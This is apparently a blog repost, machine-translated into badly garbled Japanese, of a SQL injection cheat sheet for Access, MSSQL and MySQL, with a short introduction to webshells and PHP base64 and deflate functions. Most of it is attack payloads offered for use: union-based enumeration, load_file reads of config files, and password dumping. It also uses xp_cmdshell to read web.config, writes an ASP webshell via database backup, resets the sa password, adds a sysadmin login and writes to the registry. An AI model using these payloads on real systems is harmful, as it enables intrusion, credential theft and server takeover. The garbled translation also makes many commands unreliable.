SQLインジェクションリアル - MsSQLが共通コマンドインジェクション

ときにあなたの才能

あなたは野心にハングアップする余裕がない場合には

その後、学習を停止する必要があります

      私は、参照を容易にするために、ここに入れ、一緒にし、いくつかの一般的なコマンドインジェクションを要約し、MSSQL。インターネットから誰かを探しています

 

       死角を掃引する質問に入る前に、友人が持っているでしょうがあり、あなたはスキップすることができます

ディレクトリ

MsSQLが、共通の噴射指令の概要

データベースの種類を決定します。

次の
1、ウェブシェル

      ウェブシェルはコマンドプレゼンスASP、PHP、などの実行環境として、ウェブ文書のJSPまたはCGIの形で、それはまた、ウェブページ、バックドアとして呼び出すことができます。ウェブサイトで一般的な、*** R侵入した後、多くの場合、これらのASPやPHPのバックドアで*** Webサーバのディレクトリサイト内のファイル、通常のWebファイルと混合。***あなたは、ファイルのアップロードとダウンロードを含め、*** ASPやPHPを通じてバックドアサーバーコントロールをウェブウェイを使用するデータベースを表示、任意のコマンドを実行することができます。DOSコマンドまたは傍注他のサイトので、同じサーバーに到達する権利を言及することにより、目的***などのバックドアサーバの脆弱性、経由。

      ウェブシェルサーバが原因リモートサーバまたは制御とオーバーパスポート80に、ファイアウォールを通過することができ、それはファイアウォールでブロックされることはありません。そして、一般的にウェブシェル使用してレコードのみ提出されたデータの一部を残して、システムログに記録されて残していない、経験の浅い管理者は、WebログサイトにR侵入の痕跡を確認することは困難です。

2、base64エンコード

      BASE64は、一般に、より長いHTTP環境識別情報送信に使用される8ビット符号化バイトコードを送信するための最も一般的なネットワークの一つです。

      URLに標準Base64では、「/」と「+」の文字が「○○%」のような形になるであろうURL標準のBase64符号化するので、直接伝送には適していない、メモリのこれらの「%」 ANSI SQLは「%」になっているため、データベースも、ワイルドカードとして使用し、再び変換する必要があります。

      この問題を解決するために、URLは、Base64エンコードを改善するために使用することができる、それは充填「=」記号の終わりではなく、標準のBase64で「+」と「/」「_」に変更され、「 - 」行わなければ、このように、このプロセスでコーディング情報の長さを長く回避し、統一データベースフォーマットなどのオブジェクト識別子を形成するために、URLコーデックおよびデータベース・ストレージでの変換を排除します。

3、BASE64でPHP関数

BASE64_ENCODE()関数

     処置:BASE64エンコーディングに文字列。

     语法:文字列BASE64_ENCODE(文字列データ)。

     戻り値:文字列。

     関数型:符号化プロセス。

     説明:この関数は、MIME BASE64エンコードされる文字列。このエンコーディングは、テキストや画像にも成功したネットワークを介して送信することができますことができます。BASE64エンコードされた文字列は、実質的に唯一の小文字、アラビア数字、プラスバックスラッシュ、64文字の合計が含まれた後、これBASE64命名され、他の特殊文字が含まれていません。エンコードされた文字列を加えた文字列の元の長さに比べて約1/3。詳細については、BASE64 6.8 RFC2045文書をエンコードすることができます。

例えば:

<?phpの

$ strのは、=「これはエンコードされた文字列です」;

エコーBASE64_ENCODE($ strの);

?>
BASE64_DECODE()関数

      効果:MIMEのbase64でデコードを使用してエンコードされたデータ。

      语法:文字列BASE64_DECODE(文字列データ)。

      戻り値:文字列。

      関数型:符号化プロセス。

      説明:エンコードされた文字列をデコードするBASE64_ENCODE機能。

例えば:

<?phpの

$ strの= 'd2VsbGNvbWUlMjB0byUyMGVyYW5nZSUyMQ ==';

エコーBASE64_DECODE($ strの);

?>
4、PHPでの相関関数を収縮させます

      (コーディングハフマン)コーディングLZ77アルゴリズムとハフマン符号を用いて同時にDEFLATE可逆データ圧縮アルゴリズムです。

gzdeflate()関数

      役割:データはDEFLATコーディングを行います。

      構文:文字列gzdeflate(文字列データ)。

      戻り値:文字列。

     関数型:符号化プロセス。

例えば:

<?phpの

$ = gzdeflateを圧縮( '私を圧縮'、9);

$圧縮エコー。

?>
Gzinflate()関数

      役割:データはDEFLATコーディングを行います。

      構文:文字列gzinflate(文字列データ)。

      戻り値:文字列。

      関数型:符号化プロセス。

例えば:

<?phpの

$ = gzdeflateを圧縮( '私を圧縮'、9);

$圧縮されていない= gzinflate($圧縮)。

$非圧縮エコー。

?>
 

MsSQLが、共通の噴射指令サマリ
判決データベースの種類: 

アクセス: 
及び(SELECT MSysAccessObjectsから上記ID)>正常な説明に0復帰アクセスで 
MSSQL: 
と>正常説明に0復帰MSSQLある(SELECTは、上記のsysobjectsからID挙げ) 
のMySQL: 
長さ(ユーザー())>正常な説明に0復帰は、MySQLで 
のMySQL。 
•1.分析のリリースとORD(ミッド(バージョン() 、1,1))> 51 / 復帰命令は、通常4.0以上である、クエリが組合かもしれ 
URL 10を追加することにより、順番に、暴力のフィールドを使用して•2.順序/
通常の命令フィールドへの復帰が10より大きい場合 
など正確組合フィールド、クエリに再利用•3:1,2,3を選択することによって、または1 = 2組合順序を ...... ./* 正常に戻るまで、正確な推測フィールドを記載番号。フィルタの 
スペースを使用することができます/ * /置き換えます。 
•4.データベース接続アカウントが書き込み権限を、そして(からのカウントを()を選択していないかを決定 0 /> mysql.user) の結果がエラーを返す場合、我々は、管理者アカウントとパスワードだけで推測することができ 
ヤード。 
•5.正常に戻るが、それは()カンマで区切らチャー(ASCIIファイルパス値)可能な場合により1 = 2組合1,2,3,4,5,6を選択し、 LOAD_FILE、8,9,10 /
注意: 
また、進構成ファイルで使用することができるLOAD_FILE(CHAR(コンマで区切られたASCIIファイルパス値))データベース接続を見つけるために、このように読み出されます。 
•6、ルートとして検出されず、/ * / ORD(MID(ユーザー()、1,1))= 114 / 
•。7、MySQLの組み込み関数ヘクス()は、このような選択ヘクス(ユーザ(16進数の文字を変換します)) 
MySQLの組み込み関数unhex()のような16進数、復号SELECT unhex(16進数(ユーザー())) 
•。8、MySQLの組み込み関数CONCAT()と行の列の組み合わせ、複数として選択連結(ユーザ名、0x3A、パスワード ) t_member 
組み込み関数の一般的な使用•9: 
SELECT SYSTEM_USER()ビュー・システム・ユーザー 
を選択しCURRENT_USER()現在のユーザー照会する 
ユーザー照会することを選択したユーザ()を 
、データベースのバージョン照会するSELECTバージョン()を 
現在接続されているデータベースを照会する)SELECTデータベースは( 
問い合わせversion_compile_os @@選択します現在のオペレーティングシステムは、 
@@ DATADIR問合せは、データベースのパスを読み込み、選択し 
てbasedirクエリMYSQLのインストールパスを選択します@@ 
------------------------------ ----------
すべての行をチェックアウトする限界1,1を削除、最初の番号は、いくつかの問い合わせの最初を示し、2番目の数字は、クエリの数を表します。 
第1の数の増分1から3:00のブラウザクエリは、二つのライブラリ/テーブルの存在を示す、エラーを返します。 
•10、検索データベースの数 
連合のinformation_schema.schemata限度1,1からSELECT cuncat(SCHEMA_NAME、0x3A) 
•11、ルックアップテーブル 
組合がTABLE_SCHEMA =ライブラリ名の制限1,1 INFORMATION_SCHEMA.TABLESからTABLE_NAMEを選択

MSSQL: 
権限SAかどうかを検出 
し、1 =(IS_SRVROLEMEMBER( '選択 システム管理者を')); -
DBの許可かどうかを検出 
し、1 =(IS_MEMBER( '選択  db_ownerのは、'))
master.dbo.sysdatabasesから、すべてのデータベース組合に選択名前をバーストどこDBID = 1 1は、最初のライブラリが表す 
すべてのテーブルのバースト 
最初のテーブル組合•名前= .dbo.sysobjects「U」XTYPEライブラリから上位1名を選択する 
•第2のテーブル組合はライブラリ名から上位1名を選択します。 XTYPE =「U」とdbo.sysobjects (「で名前ではない最初のテーブル」) 
第3のテーブル組合•はXTYPE =「U」とライブラリ名.dbo.sysobjectsからトップ1名を選択しないで名前( ' 最初のテーブル''第二のテーブル') 
... 
バースト列: 
•SELECT IDは、ID = XTYPE seay.dbo.sysobjectsからバースト' U-'and NAME = 'ADMIN' 
•爆薬列が上位1名を選択seay.dbo.syscolumnsからID = ID番号 
•爆発2番目の列はID seay.dbo.syscolumnsからトップ1名を選択 = IDのない(「最初の行」)に番号と名前 
... 
バーストデータ: 
選択テーブルのカラム名から 
•master.dbo.xp_dirtree ' C:\ ';ディレクトリトラバース 
のexec master.dbo.xp_availablemedia•; -現在のすべてのドライブが取得 
幹部master.dbo.xp_subdirs•' Cを:\」 ; - サブディレクトリのリストを取得 
•幹部をmaster.dbo.xp_dirtree 'C:\' ; -ディレクトリツリー構造のすべてのサブディレクトリへのアクセス 
•EXECをmaster.dbo.xp_cmdshell「タイプC:\ウェブ\ web.configファイルは、」; - ファイルの内容を表示 
するデータベースのバックアップ:ディスクへのバックアップデータベースライブラリ名を=「C:/リットル 。 ASP;「 
:MSSQL組み込み関数 
、データベースのバージョンはSELECT @@バージョンクエリ 
USER_NAME()現在のデータベース接続のユーザー名問い合わせる選択 
選択db_nameは()現在のデータベース名照会する 
変更saのパスワード 
新しいパスワードのexec sp_passwordをのNULLを、」「」saの「 
SA権限を追加します。ユーザー 
のexec sp_addloginを'ユーザ名'、 'パス  '、 'マスター';
EXEC sp_addsrvrolemember 'ユーザ名'、システム管理者

複数行をサポートするかどうかを検出 
@d int型を宣言;; - 
停止またはサービスをアクティブにします。 
master..xp_servicecontrol Execの'STOP'、 'スケジュール' 
Execのmaster..xp_servicecontrol 'スタート'、 'スケジュール' 
、解凍したファイル。 
xp_unpackcab 'C:\ test.cab'、 'C:\ TEMP'、1

xp_cmdshellを復元 
Execののmaster..dbo.sp_addextendedproc 'xp_cmdshellを'、 'xplog70.dllを';; - 
オープンサンドボックスモード: 
Execのmaster..xp_regwrite 'HKEY_LOCAL_MACHINE'、 'マイクロソフト\ジェット\ 4.0のソフトウェア\ \エンジン'、 'SandboxMode'を、 'REG_DWORD'、1

おすすめ

転載: blog.51cto.com/14536975/2438317